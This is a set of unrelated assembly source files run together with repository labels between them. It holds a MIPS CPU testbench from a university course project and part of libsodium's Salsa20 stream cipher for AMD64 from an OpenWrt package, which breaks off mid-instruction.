Cal.E & jr.D_Rs -- Cal.M jr $ra add $s7, $s7, $k0 f10: ori $t0, $0, 0x3000 sub $ra, $ra, $t0 sw $ra, 0($sp) add $sp, $sp, $k1 ori $ra, $ra, 0x3000 jr $ra # jr.D_RS -- Jal.M add $s7, $s7, $k0 f11: sw $ra, 0($sp) add $sp, $sp, $k1 jr $ra add $s7, $s7, $k0 # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000

25th-engineer/HFUT_2020_MIPS_CPU

4,316

TESTBENCH/testbench_wh_1.s

.org 0x0 .set noat .set noreorder #不进行指令调度 .set nomacro .global __start __start: # 注意，MIPS编译时，会将rs和rt的二进制位置互换，写法上是rt,rs，指令码是opcode rs rt(写入rt) # # 用nop和ori指令作为开始标志 # start code # 3400 0000 3400 0000 # ori $0, $0, 0x0000 # ori $0, $0, 0x0000 # 注意由于，编译装入问题，此处不用原先指令开头 # 3403 8000 # ori $3, $0, 0x8000 # 此处开始书写代码 .org 0x0000 lw $1, 8188($0) li $2, 1370698181 addu $2, $1, $2 li $3, 624781182 li $4, -1346036914 multu $2, $3 li $22, -928840339 addu $24, $22, $2 nop nop sllv $24, $22, $0 beq $24, $22, skip0 nop addiu $2, $2, 27222 skip0: sw $2, 0($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1594176031 addu $10, $25, $2 nop addu $10, $25, $0 nop bne $10, $25, skip1 nop addiu $2, $2, 31929 skip1: sw $2, 4($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, -2119359507 addu $11, $25, $2 xor $11, $25, $0 nop nop beq $11, $25, skip2 nop addiu $2, $2, 3010 skip2: sw $2, 8($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $19, 1297194016 addu $14, $19, $2 nop nop xor $14, $19, $0 beq $14, $19, skip3 nop addiu $2, $2, 29169 skip3: sw $2, 12($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $23, 1553809414 addu $24, $23, $0 nop or $24, $23, $2 nop beq $24, $23, skip4 nop addiu $2, $2, 6765 skip4: sw $2, 16($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $11, 1462873855 addu $25, $11, $2 subu $25, $11, $0 nop nop beq $25, $11, skip5 nop addiu $2, $2, 24212 skip5: sw $2, 20($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, -1935796249 addu $29, $21, $0 nop nop or $29, $21, $2 beq $29, $21, skip6 nop addiu $2, $2, 20534 skip6: sw $2, 24($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, 600920159 addu $10, $8, $0 nop sllv $10, $8, $2 nop beq $10, $8, skip7 nop addiu $2, $2, 18367 skip7: sw $2, 28($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $10, 245016401 addu $16, $10, $0 or $16, $10, $2 nop nop bne $16, $10, skip8 nop addiu $2, $2, 1554 skip8: sw $2, 32($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $25, 1977109191 addiu $20, $25, 0 nop nop addiu $20, $25, 9834 beq $25, $20, skip9 nop nor $2, $2, $25 skip9: sw $2, 36($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -1206068049 addiu $13, $24, 0 nop addiu $13, $24, 28753 nop beq $24, $13, skip10 nop nor $2, $2, $24 skip10: sw $2, 40($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 2080420061 addiu $7, $21, 0 srl $7, $21, 1 nop nop beq $21, $7, skip11 nop nor $2, $2, $21 skip11: sw $2, 44($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $24, -791642528 addiu $22, $24, 0 nop nop xori $22, $24, 6438 bne $24, $22, skip12 nop nor $2, $2, $24 skip12: sw $2, 48($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $8, -911568785 addiu $22, $8, 0 nop addiu $22, $8, 17950 nop beq $8, $22, skip13 nop nor $2, $2, $8 skip13: sw $2, 52($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $21, 426530782 addiu $8, $21, 6622 ori $8, $21, 23640 nop nop bne $21, $8, skip14 nop nor $2, $2, $21 skip14: sw $2, 56($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $18, 704083205 addiu $19, $18, 28241 nop nop sll $19, $18, 14 beq $18, $19, skip15 nop nor $2, $2, $18 skip15: sw $2, 60($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $15, 1322704609 addiu $11, $15, 0 nop addiu $11, $15, 25990 nop beq $15, $11, skip16 nop nor $2, $2, $15 skip16: sw $2, 64($0) mflo $2 addu $2, $2, $4 multu $2, $3 li $29, -1891138629 addiu $25, $29, 1450 sll $25, $29, 26 nop nop bne $29, $25, skip17 nop nor $2, $2, $29 skip17: sw $2, 68($0) mflo $2 addu $2, $2, $4 addu $28, $2, $8 lui $8, 64451 lui $28, 64451 nop beg18: beq $8, $28, skip18 addu $8, $0, $0 beq $0, $0, beg18 subu $28, $28, $28 skip18: sw $28, 72($0) lui $8, 64451 nop lui $28, 19666 beg19: bne $8, $28, skip19 addu $28, $0, $0 beq $1, $1, beg19 addu $8, $28, $2 skip19: sw $8, 76($0) li $30, -1602503051 mthi $30 li $30, -1602503051 li $23, 523843457 nop nop mfhi $23 beq $30, $23, skip20 nop sw $30, 80($0) skip20: li $13, -1153218862 mtlo $13 li $13, -1153218862 li $7, 638425955 nop mflo $7 nop bne $13, $7, skip21 nop sw $13, 84($0) skip21: li $23, -1501334171 mthi $23 li $23, -1501334171 li $8, -376855767 mfhi $8 # end code # 3400 0000 3400 0000 ori $0, $0, 0x0000 ori $0, $0, 0x0000

281677160/openwrt-package

18,086

luci-app-ssr-plus/shadowsocksr-libev/src/libsodium/src/libsodium/crypto_stream/salsa20/amd64_xmm6/stream_salsa20_amd64_xmm6.S

#ifdef HAVE_AMD64_ASM .text .p2align 5 .globl crypto_stream_salsa20 .globl _crypto_stream_salsa20 #ifdef __ELF__ .type crypto_stream_salsa20, @function .type _crypto_stream_salsa20, @function #endif crypto_stream_salsa20: _crypto_stream_salsa20: mov %rsp,%r11 and $31,%r11 add $512,%r11 sub %r11,%rsp movq %r11,416(%rsp) movq %r12,424(%rsp) movq %r13,432(%rsp) movq %r14,440(%rsp) movq %r15,448(%rsp) movq %rbx,456(%rsp) movq %rbp,464(%rsp) mov %rsi,%r9 mov %rdi,%rdi mov %rdi,%rsi mov %rdx,%rdx mov %rcx,%r10 cmp $0,%r9 jbe ._done mov $0,%rax mov %r9,%rcx rep stosb sub %r9,%rdi movq $0,472(%rsp) jmp ._start .text .p2align 5 .globl crypto_stream_salsa20_xor_ic .globl _crypto_stream_salsa20_xor_ic #ifdef __ELF__ .type crypto_stream_salsa20_xor_ic, @function .type _crypto_stream_salsa20_xor_ic, @function #endif crypto_stream_salsa20_xor_ic: _crypto_stream_salsa20_xor_ic: mov %rsp,%r11 and $31,%r11 add $512,%r11 sub %r11,%rsp movq %r11,416(%rsp) movq %r12,424(%rsp) movq %r13,432(%rsp) movq %r14,440(%rsp) movq %r15,448(%rsp) movq %rbx,456(%rsp) movq %rbp,464(%rsp) mov %rdi,%rdi mov %rsi,%rsi mov %r9,%r10 movq %r8,472(%rsp) mov %rdx,%r9 mov %rcx,%rdx cmp $0,%r9 jbe ._done ._start: movl 20(%r10),%ecx movl 0(%r10),%r8d movl 0(%rdx),%eax movl 16(%r10),%r11d movl %ecx,64(%rsp) movl %r8d,4+64(%rsp) movl %eax,8+64(%rsp) movl %r11d,12+64(%rsp) movl 24(%r10),%r8d movl 4(%r10),%eax movl 4(%rdx),%edx movq 472(%rsp),%rcx movl %ecx,80(%rsp) movl %r8d,4+80(%rsp) movl %eax,8+80(%rsp) movl %edx,12+80(%rsp) movl 12(%r10),%edx shr $32,%rcx movl 28(%r10),%r8d movl 8(%r10),%eax movl %edx,96(%rsp) movl %ecx,4+96(%rsp) movl %r8d,8+96(%rsp) movl %eax,12+96(%rsp) mov $1634760805,%rdx mov $857760878,%rcx mov $2036477234,%r8 mov $1797285236,%rax movl %edx,112(%rsp) movl %ecx,4+112(%rsp) movl %r8d,8+112(%rsp) movl %eax,12+112(%rsp) cmp $256,%r9 jb ._bytesbetween1and255 movdqa 112(%rsp),%xmm0 pshufd $0x55,%xmm0,%xmm1 pshufd $0xaa,%xmm0,%xmm2 pshufd $0xff,%xmm0,%xmm3 pshufd $0x00,%xmm0,%xmm0 movdqa %xmm1,128(%rsp) movdqa %xmm2,144(%rsp) movdqa %xmm3,160(%rsp) movdqa %xmm0,176(%rsp) movdqa 64(%rsp),%xmm0 pshufd $0xaa,%xmm0,%xmm1 pshufd $0xff,%xmm0,%xmm2 pshufd $0x00,%xmm0,%xmm3 pshufd $0x55,%xmm0,%xmm0 movdqa %xmm1,192(%rsp) movdqa %xmm2,208(%rsp) movdqa %xmm3,224(%rsp) movdqa %xmm0,240(%rsp) movdqa 80(%rsp),%xmm0 pshufd $0xff,%xmm0,%xmm1 pshufd $0x55,%xmm0,%xmm2 pshufd $0xaa,%xmm0,%xmm0 movdqa %xmm1,256(%rsp) movdqa %xmm2,272(%rsp) movdqa %xmm0,288(%rsp) movdqa 96(%rsp),%xmm0 pshufd $0x00,%xmm0,%xmm1 pshufd $0xaa,%xmm0,%xmm2 pshufd $0xff,%xmm0,%xmm0 movdqa %xmm1,304(%rsp) movdqa %xmm2,320(%rsp) movdqa %xmm0,336(%rsp) ._bytesatleast256: movq 472(%rsp),%rdx mov %rdx,%rcx shr $32,%rcx movl %edx,352(%rsp) movl %ecx,368(%rsp) add $1,%rdx mov %rdx,%rcx shr $32,%rcx movl %edx,4+352(%rsp) movl %ecx,4+368(%rsp) add $1,%rdx mov %rdx,%rcx shr $32,%rcx movl %edx,8+352(%rsp) movl %ecx,8+368(%rsp) add $1,%rdx mov %rdx,%rcx shr $32,%rcx movl %edx,12+352(%rsp) movl %ecx,12+368(%rsp) add $1,%rdx mov %rdx,%rcx shr $32,%rcx movl %edx,80(%rsp) movl %ecx,4+96(%rsp) movq %rdx,472(%rsp) movq %r9,480(%rsp) mov $20,%rdx movdqa 128(%rsp),%xmm0 movdqa 144(%rsp),%xmm1 movdqa 160(%rsp),%xmm2 movdqa 320(%rsp),%xmm3 movdqa 336(%rsp),%xmm4 movdqa 192(%rsp),%xmm5 movdqa 208(%rsp),%xmm6 movdqa 240(%rsp),%xmm7 movdqa 256(%rsp),%xmm8 movdqa 272(%rsp),%xmm9 movdqa 288(%rsp),%xmm10 movdqa 368(%rsp),%xmm11 movdqa 176(%rsp),%xmm12 movdqa 224(%rsp),%xmm13 movdqa 304(%rsp),%xmm14 movdqa 352(%rsp),%xmm15 ._mainloop1: movdqa %xmm1,384(%rsp) movdqa %xmm2,400(%rsp) movdqa %xmm13,%xmm1 paddd %xmm12,%xmm1 movdqa %xmm1,%xmm2 pslld $7,%xmm1 pxor %xmm1,%xmm14 psrld $25,%xmm2 pxor %xmm2,%xmm14 movdqa %xmm7,%xmm1 paddd %xmm0,%xmm1 movdqa %xmm1,%xmm2 pslld $7,%xmm1 pxor %xmm1,%xmm11 psrld $25,%xmm2 pxor %xmm2,%xmm11 movdqa %xmm12,%xmm1 paddd %xmm14,%xmm1 movdqa %xmm1,%xmm2 pslld $9,%xmm1 pxor %xmm1,%xmm15 psrld $23,%xmm2 pxor %xmm2,%xmm15 movdqa %xmm0,%xmm1 paddd %xmm11,%xmm1 movdqa %xmm1,%xmm2 pslld $9,%xmm1 pxor %xmm1,%xmm9 psrld $23,%xmm2 pxor %xmm2,%xmm9 movdqa %xmm14,%xmm1 paddd %xmm15,%xmm1 movdqa %xmm1,%xmm2 pslld $13,%xmm1 pxor %xmm1,%xmm13 psrld $19,%xmm2 pxor %xmm2,%xmm13 movdqa %xmm11,%xmm1 paddd %xmm9,%xmm1 movdqa %xmm1,%xmm2 pslld $13,%xmm1 pxor %xmm1,%xmm7 psrld $19,%xmm2 pxor %xmm2,%xmm7 movdqa %xmm15,%xmm1 paddd %xmm13,%xmm1 movdqa %xmm1,%xmm2 pslld $18,%xmm1 pxor %xmm1,%xmm12 psrld $14,%xmm2 pxor %xmm2,%xmm12 movdqa 384(%rsp),%xmm1 movdqa %xmm12,384(%rsp) movdqa %xmm9,%xmm2 paddd %xmm7,%xmm2 movdqa %xmm2,%xmm12 pslld $18,%xmm2 pxor %xmm2,%xmm0 psrld $14,%xmm12 pxor %xmm12,%xmm0 movdqa %xmm5,%xmm2 paddd %xmm1,%xmm2 movdqa %xmm2,%xmm12 pslld $7,%xmm2 pxor %xmm2,%xmm3 psrld $25,%xmm12 pxor %xmm12,%xmm3 movdqa 400(%rsp),%xmm2 movdqa %xmm0,400(%rsp) movdqa %xmm6,%xmm0 paddd %xmm2,%xmm0 movdqa %xmm0,%xmm12 pslld $7,%xmm0 pxor %xmm0,%xmm4 psrld $25,%xmm12 pxor %xmm12,%xmm4 movdqa %xmm1,%xmm0 paddd %xmm3,%xmm0 movdqa %xmm0,%xmm12 pslld $9,%xmm0 pxor %xmm0,%xmm10 psrld $23,%xmm12 pxor %xmm12,%xmm10 movdqa %xmm2,%xmm0 paddd %xmm4,%xmm0 movdqa %xmm0,%xmm12 pslld $9,%xmm0 pxor %xmm0,%xmm8 psrld $23,%xmm12 pxor %xmm12,%xmm8 movdqa %xmm3,%xmm0 paddd %xmm10,%xmm0 movdqa %xmm0,%xmm12 pslld $13,%xmm0 pxor %xmm0,%xmm5 psrld $19,%xmm12 pxor %xmm12,%xmm5 movdqa %xmm4,%xmm0 paddd %xmm8,%xmm0 movdqa %xmm0,%xmm12 pslld $13,%xmm0 pxor %xmm0,%xmm6 psrld $19,%xmm12 pxor %xmm12,%xmm6 movdqa %xmm10,%xmm0 paddd %xmm5,%xmm0 movdqa %xmm0,%xmm12 pslld $18,%xmm0 pxor %xmm0,%xmm1 psrld $14,%xmm12 pxor %xmm12,%xmm1 movdqa 384(%rsp),%xmm0 movdqa %xmm1,384(%rsp) movdqa %xmm4,%xmm1 paddd %xmm0,%xmm1 movdqa %xmm1,%xmm12 pslld $7,%xmm1 pxor %xmm1,%xmm7 psrld $25,%xmm12 pxor %xmm12,%xmm7 movdqa %xmm8,%xmm1 paddd %xmm6,%xmm1 movdqa %xmm1,%xmm12 pslld $18,%xmm1 pxor %xmm1,%xmm2 psrld $14,%xmm12 pxor %xmm12,%xmm2 movdqa 400(%rsp),%xmm12 movdqa %xmm2,400(%rsp) movdqa %xmm14,%xmm1 paddd %xmm12,%xmm1 movdqa %xmm1,%xmm2 pslld $7,%xmm1 pxor %xmm1,%xmm5 psrld $25,%xmm2 pxor %xmm2,%xmm5 movdqa %xmm0,%xmm1 paddd %xmm7,%xmm1 movdqa %xmm1,%xmm2 pslld $9,%xmm1 pxor %xmm1,%xmm10 psrld $23,%xmm2 pxor %xmm2,%xmm10 movdqa %xmm12,%xmm1 paddd %xmm5,%xmm1 movdqa %xmm1,%xmm2 pslld $9,%xmm1 pxor %xmm1,%xmm8 psrld $23,%xmm2 pxor %xmm2,%xmm8 movdqa %xmm7,%xmm1 paddd %xmm10,%xmm1 movdqa %xmm1,%xmm2 pslld $13,%xmm1 pxor %xmm1,%xmm4 psrld $19,%xmm2 pxor %xmm2,%xmm4 movdqa %xmm5,%xmm1 paddd %xmm8,%xmm1 movdqa %xmm1,%xmm2 pslld $13,%xmm1 pxor %xmm1,%xmm14 psrld $19,%xmm2 pxor %xmm2,%xmm14 movdqa %xmm10,%xmm1 paddd %xmm4,%xmm1 movdqa %xmm1,%xmm2 pslld $18,%xmm1 pxor %xmm1,%xmm0 psrld $14,%xmm2 pxor %xmm2,%xmm0 movdqa 384(%rsp),%xmm1 movdqa %xmm0,384(%rsp) movdqa %xmm8,%xmm0 paddd %xmm14,%xmm0 movdqa %xmm0,%xmm2 pslld $18,%xmm0 pxor %xmm0,%xmm12 psrld $14,%xmm2 pxor %xmm2,%xmm12 movdqa %xmm11,%xmm0 paddd %xmm1,%xmm0 movdqa %xmm0,%xmm2 pslld $7,%xmm0 pxor %xmm0,%xmm6 psrld $25,%xmm2 pxor %xmm2,%xmm6 movdqa 400(%rsp),%xmm2 movdqa %xmm12,400(%rsp) movdqa %xmm3,%xmm0 paddd %xmm2,%xmm0 movdqa %xmm0,%xmm12 pslld $7,%xmm0 pxor %xmm0,%xmm13 psrld $25,%xmm12 pxor %xmm12,%xmm13 movdqa %xmm1,%xmm0 paddd %xmm6,%xmm0 movdqa %xmm0,%xmm12 pslld $9,%xmm0 pxor %xmm0,%xmm15 psrld $23,%xmm12 pxor %xmm12,%xmm15 movdqa %xmm2,%xmm0 paddd %xmm13,%xmm0 movdqa %xmm0,%xmm12 pslld $9,%xmm0 pxor %xmm0,%xmm9 psrld $23,%xmm12 pxor %xmm12,%xmm9 movdqa %xmm6,%xmm0 paddd %xmm15,%xmm0 movdqa %xmm0,%xmm12 pslld $13,%xmm0 pxor %xmm0,%xmm11 psrld $19,%xmm12 pxor %xmm12,%xmm11 movdqa %xmm13,%xmm0 paddd %xmm9,%xmm0 movdqa %xmm0,%xmm12 pslld $13,%xmm0 pxor %xmm0,%xmm3 psrld $19,%xmm12 pxor %xmm12,%xmm3 movdqa %xmm15,%xmm0 paddd %xmm11,%xmm0 movdqa %xmm0,%xmm12 pslld $18,%xmm0 pxor %xmm0,%xmm1 psrld $14,%xmm12 pxor %xmm12,%xmm1 movdqa %xmm9,%xmm0 paddd %xmm3,%xmm0 movdqa %xmm0,%xmm12 pslld $18,%xmm0 pxor %xmm0,%xmm2 psrld $14,%xmm12 pxor %xmm12,%xmm2 movdqa 384(%rsp),%xmm12 movdqa 400(%rsp),%xmm0 sub $2,%rdx ja ._mainloop1 paddd 176(%rsp),%xmm12 paddd 240(%rsp),%xmm7 paddd 288(%rsp),%xmm10 paddd 336(%rsp),%xmm4 movd %xmm12,%rdx movd %xmm7,%rcx movd %xmm10,%r8 movd %xmm4,%r9 pshufd $0x39,%xmm12,%xmm12 pshufd $0x39,%xmm7,%xmm7 pshufd $0x39,%xmm10,%xmm10 pshufd $0x39,%xmm4,%xmm4 xorl 0(%rsi),%edx xorl 4(%rsi),%ecx xorl 8(%rsi),%r8d xorl 12(%rsi),%r9d movl %edx,0(%rdi) movl %ecx,4(%rdi) movl %r8d,8(%rdi) movl %r9d,12(%rdi) movd %xmm12,%rdx movd %xmm7,%rcx movd %xmm10,%r8 movd %xmm4,%r9 pshufd $0x39,%xmm12,%xmm12 pshufd $0x39,%xmm7,%xmm7 pshufd $0x39,%xmm10,%xmm10 pshufd $0x39,%xmm4,%xmm4 xorl 64(%rsi),%edx xorl 68(%rsi),%ecx xorl 72(%rsi),%r8d xorl 76(%rsi),%r9d movl %edx,64(%rdi) movl %ecx,68(%rdi) movl %r8d,72(%rdi) movl %r9d,76(%rdi) movd %xmm12,%rdx movd %xmm7,%rcx movd %xmm10,%r8 movd %xmm4,%r9 pshufd $0x39,%xmm12,%xmm12 pshufd $0x39,%xmm7,%xmm7 pshufd $0x39,%xmm10,%xmm10 pshufd $0x39,%xmm4,%xmm4 xorl 128(%rsi),%edx xorl 132(%rsi),%ecx xorl 136(%rsi),%r8d xorl 140(%rsi),%r9d movl %edx,128(%rdi) movl %ecx,132(%rdi) movl %r8d,136(%rdi) movl %r9d,140(%rdi) movd %xmm12,%rdx movd %xmm7,%rcx movd %xmm10,%r8 movd %xmm4,%r9 xorl 192(%rsi),%edx xorl 196(%rsi),%ecx xorl 200(%rsi),%r8d xorl 204(%rsi),%r9d movl %edx,192(%rdi) movl %ecx,196(%rdi) movl %r8d,200(%rdi) movl %r9d,204(%rdi) paddd 304(%rsp),%xmm14 paddd 128(%rsp),%xmm0 paddd 192(%rsp),%xmm5 paddd 256(%rsp),%xmm8 movd %xmm14,%rdx movd %xmm0,%rcx movd %xmm5,%r8 movd %xmm8,%r9 pshufd $0x39,%xmm14,%xmm14 pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm5,%xmm5 pshufd $0x39,%xmm8,%xmm8 xorl 16(%rsi),%edx xorl 20(%rsi),%ecx xorl 24(%rsi),%r8d xorl 28(%rsi),%r9d movl %edx,16(%rdi) movl %ecx,20(%rdi) movl %r8d,24(%rdi) movl %r9d,28(%rdi) movd %xmm14,%rdx movd %xmm0,%rcx movd %xmm5,%r8 movd %xmm8,%r9 pshufd $0x39,%xmm14,%xmm14 pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm5,%xmm5 pshufd $0x39,%xmm8,%xmm8 xorl 80(%rsi),%edx xorl 84(%rsi),%ecx xorl 88(%rsi),%r8d xorl 92(%rsi),%r9d movl %edx,80(%rdi) movl %ecx,84(%rdi) movl %r8d,88(%rdi) movl %r9d,92(%rdi) movd %xmm14,%rdx movd %xmm0,%rcx movd %xmm5,%r8 movd %xmm8,%r9 pshufd $0x39,%xmm14,%xmm14 pshufd $0x39,%xmm0,%xmm0 pshufd $0x39,%xmm5,%xmm5 pshufd $0x39,%xmm8,%xmm8 xorl 144(%rsi),%edx xorl 148(%rsi),%ecx xorl 152(%rsi),%r8d xorl 156(%rsi),%r9d movl %edx,144(%rdi) movl %ecx,148(%rdi) movl %r8d,152(%rdi) movl %r9d,156(%rdi) movd %xmm14,%rdx movd %xmm0,%rcx movd %xmm5,%r8 movd %xmm8,%r9 xorl 208(%rsi),%edx xorl 212(%rsi),%ecx xorl 216(%rsi),%r8d xorl 220(%rsi),%r9d movl %edx,208(%rdi) movl %ecx,212(%rdi) movl %r8d,216(%rdi) movl %r9d,220(%rdi) paddd 352(%rsp),%xmm15 paddd 368(%rsp),%xmm11 paddd 144(%rsp),%xmm1 paddd 208(%rsp),%xmm6 movd %xmm15,%rdx movd %xmm11,%rcx movd %xmm1,%r8 movd %xmm6,%r9 pshufd $0x39,%xmm15,%xmm15 pshufd $0x39,%xmm11,%xmm11 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm6,%xmm6 xorl 32(%rsi),%edx xorl 36(%rsi),%ecx xorl 40(%rsi),%r8d xorl 44(%rsi),%r9d movl %edx,32(%rdi) movl %ecx,36(%rdi) movl %r8d,40(%rdi) movl %r9d,44(%rdi) movd %xmm15,%rdx movd %xmm11,%rcx movd %xmm1,%r8 movd %xmm6,%r9 pshufd $0x39,%xmm15,%xmm15 pshufd $0x39,%xmm11,%xmm11 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm6,%xmm6 xorl 96(%rsi),%edx xorl 100(%rsi),%ecx xorl 104(%rsi),%r8d xorl 108(%rsi),%r9d movl %edx,96(%rdi) movl %ecx,100(%rdi) movl %r8d,104(%rdi) movl %r9d,108(%rdi) movd %xmm15,%rdx movd %xmm11,%rcx movd %xmm1,%r8 movd %xmm6,%r9 pshufd $0x39,%xmm15,%xmm15 pshufd $0x39,%xmm11,%xmm11 pshufd $0x39,%xmm1,%xmm1 pshufd $0x39,%xmm6,%xmm6 xorl 160(%rsi),%edx xorl 164(%rsi),%ecx xorl 168(%rsi),%r8d xorl 172(%rsi),%r9d movl %edx,160(%rdi) movl %ecx,164(%rdi) movl %r8d,168(%rdi) movl %r9d,172(%rdi) movd %xmm15,%rdx movd %xmm11,%rcx movd %xmm1,%r8 movd %xmm6,%r9 xorl 224(%rsi),%edx xorl 228(%rsi),%ecx xorl 232(%rsi),%r8d xorl 236(%rsi),%r9d movl %edx,224(%rdi) movl %ecx,228(%rdi) movl %r8d,232(%rdi) movl %r9d,236(%rdi) paddd 224(%rsp),%xmm13 paddd 272(%rsp),%xmm9 paddd 320(%rsp),%xmm3 paddd 160(%rsp),%xmm2 movd %xmm13,%rdx movd %xmm9,%rcx movd %xmm3,%r8 movd %xmm2,%r9 pshufd $0x39,%xmm13,%xmm13 pshufd $0x39,%xmm9,%xmm9 pshufd $0x39,%xmm3,%xmm3 pshufd $0x39,%xmm2,%xmm2 xorl 48(%rsi),%edx xorl 52(%rsi),%ecx xorl 56(%rsi),%r8d xorl 60(%rsi),%r9d movl %edx,48(%rdi) movl %ecx,52(%rdi) movl %r8d,56(%rdi) movl %r9d,60(%rdi) movd %xmm13,%rdx movd %xmm9,%rcx movd %xmm3,%r8 movd %xmm2,%r9 pshufd $0x39,%xmm13,%xmm13 pshufd $0x39,%xmm9,%xmm9 pshufd $0x39,%xmm3,%xmm3 pshufd $0x39,%xmm2,%xmm2 xorl 112(%rsi),%edx xorl 116(%rsi),%ecx xorl 120(%rsi),%r8d xorl 124(%rsi),%r9d movl %edx,112(%rdi) movl %ecx,116(%rdi) movl %r8d,120(%rdi) movl %r9d,124(%rdi) movd %xmm13,%rdx movd %xmm9,%rcx movd %xmm3,%r8 movd %xmm2,%r9 pshufd $0x39,%xmm13,%xmm13 pshufd $0x39,%xmm9,%xmm9 pshufd $0x39,%xmm3,%xmm3 pshufd $0x39,%xmm2,%xmm2 xorl 176(%rsi),%edx xorl 180(%rsi),%ecx xorl 184(%rsi),%r8d xorl 188(%rsi),%r9d movl %edx,176(%rdi) movl %ecx,180(%rdi) movl %r8d,184(%rdi) movl %r9d,188(%rdi) movd %xmm13,%rdx movd %xmm9,%rcx movd %xmm3,%r8 movd %xmm2,%r9 xorl 240(%rsi),%edx xorl 244(%rsi),%ecx xorl 248(%rsi),%r8d xorl 252(%rsi),%r9d movl %edx,240(%rdi) movl %ecx,244(%rdi) movl %r8d,248(%rdi) movl %r9d,252(%rdi) movq 480(%rsp),%r9 sub $256,%r9 add $256,%rsi add $256,%rdi cmp $256,%r9 jae ._bytesatleast256 cmp $0,%r9 jbe ._done ._bytesbetween1and255: cmp $64,%r9 jae ._nocopy mov %rdi,%rdx leaq 0(%rsp),%rdi mov %r9,%rcx rep movsb leaq 0(%rsp),%rdi leaq 0(%rsp),%rsi ._nocopy: movq %r9,480(%rsp) movdqa 112(%rsp),%xmm0 movdqa 64(%rsp),%xmm1 movdqa 80(%rsp),%xmm2 movdqa 96(%rsp),%xmm3 movdqa %xmm1,%xmm4 mov $20,%rcx ._mainloop2: paddd %xmm0,%xmm4 movdqa %xmm0,%xmm5 movdqa %xmm4,%xmm6 pslld $7,%xmm4 psrld $25,%xmm6 pxor %xmm4,%xmm3 pxor %xmm6,%xmm3 paddd %xmm3,%xmm5 movdqa %xmm3,%xmm4 movdqa %xmm5,%xmm6 pslld $9,%xmm5 psrld $23,%xmm6 pxor %xmm5,%xmm2 pshufd $0x93,%xmm3,%xmm3 pxor %xmm6,%xmm2 paddd %xmm2,%xmm4 movdqa %xmm2,%xmm5 movdqa %xmm4,%xmm6 pslld $13,%xmm4 psrld $19,%xmm6 pxor %xmm4,%xmm1 pshufd $0x4e,%xmm2,%xmm2 pxor %xmm6,%xmm1 paddd %xmm1,%xmm5 movdqa %xmm3,%xmm4 movdqa %xmm5,%xmm6 pslld $18,%xmm5 psrld $14,%xmm6 pxor %xmm5,%xmm0 pshufd $0x39,%xmm1,%xmm1 pxor %xmm6,%xmm0 paddd %xmm0,%xmm4 movdqa %xmm0,%xmm5 movdqa %xmm4,%xmm6 pslld $7,%xmm4 psrld $25,%xmm6 pxor %xmm4,%xmm1 pxor %xmm6,%xmm1 paddd %xmm1,%xmm5 movdqa %xmm1,%xmm4 movdqa %xmm5,%xmm6 pslld $9,%xmm5 psrld $23,%xmm6 pxor %xmm5,%xmm2 pshufd $0x93,%xmm1,%xmm1 pxor %xmm6,%xmm2 paddd %xmm2,%xmm4 movdqa %xmm2,%xmm5 movdqa %xmm4,%xmm6 pslld $13,%xmm4 psrld $19,%xmm6 pxor %xmm4,%xmm3 pshufd $0x4e,%xmm2,%xmm2 pxor %xmm6,%xmm3 paddd %xmm3,%xmm5 movdqa %xmm1,%xmm4 movdqa %xmm5,%xmm6 pslld $18,%xmm5 psrld $14,%xmm6 pxor %xmm5,%xmm0 pshufd $0x39,%xmm3,%xmm3 pxor %xmm6,%xmm0 paddd %xmm0,%xmm4 movdqa %xmm0,%xmm5 movdqa %xmm4,%xmm6 pslld $7,%xmm4 psrld $25,%xmm6 pxor %xmm4,%xmm3 pxor %xmm6,%xmm3 paddd %xmm3,%xmm5 movdqa %xmm3,%xmm4 movdqa %xmm5,%xmm6 pslld $9,%xmm5 psrld $23,%xmm6 pxor %xmm5,%xmm2 pshufd $0x93,%xmm3,%xmm3 pxor %xmm6,%xmm2 paddd %xmm2,%xmm4 movdqa %xmm2,%xmm5 movdqa %xmm4,%xmm6 pslld $13,%xmm4 psrld $19,%xmm6 pxor %xmm4,%xmm1 pshufd $0x4e,%xmm2,%xmm2 pxor %xmm6,%xmm1 paddd %xmm1,%xmm5 movdqa %xmm3,%xmm4 movdqa %xmm5,%xmm6 pslld $18,%xmm5 psrld $14,%xmm6 pxor %xmm5,%xmm0 pshufd $0x39,%xmm1,%xmm1 pxor %xmm6,%xmm0 paddd %xmm0,%xmm4 movdqa %xmm0,%xmm5 movdqa %xmm4,%xmm6 pslld $7,%xmm4 psrld $25,%xmm6 pxor %xmm4,%xmm1 pxor %xmm6,%xmm1 paddd %xmm1,%xmm5 movdqa %xmm1,%xmm4 movdqa %xmm5,%xmm6 pslld $9,%xmm5 psrld $23,%xmm6 pxor %xmm5,%xmm2 pshufd $0x93,%xmm1,%xmm1 pxor %xmm6,%xmm2 paddd %xmm2,%xmm4 movdqa %xmm2,%xmm5 movdqa %xmm4,%xmm6 pslld $13,%xmm4 psrld $19,%xmm6 pxor %xmm4,%xmm3 pshufd $0x4e,%xmm2,%xmm2 pxor %xmm6,%xmm3 sub $4,%rcx paddd %xmm3,%xmm5 movdqa %xmm1,%xmm4 movdqa %xmm5,%xmm6 pslld $18,%xmm5 pxor %xmm7,%xmm7 psrld $14,%xmm6 pxor %xmm5,%xmm0 pshufd $0x39,%xmm3,%xmm3 pxor %xmm6,%xmm0 ja ._mainloop2 paddd 112(%rsp),%xmm0 paddd 64(%rsp),%xmm1 paddd 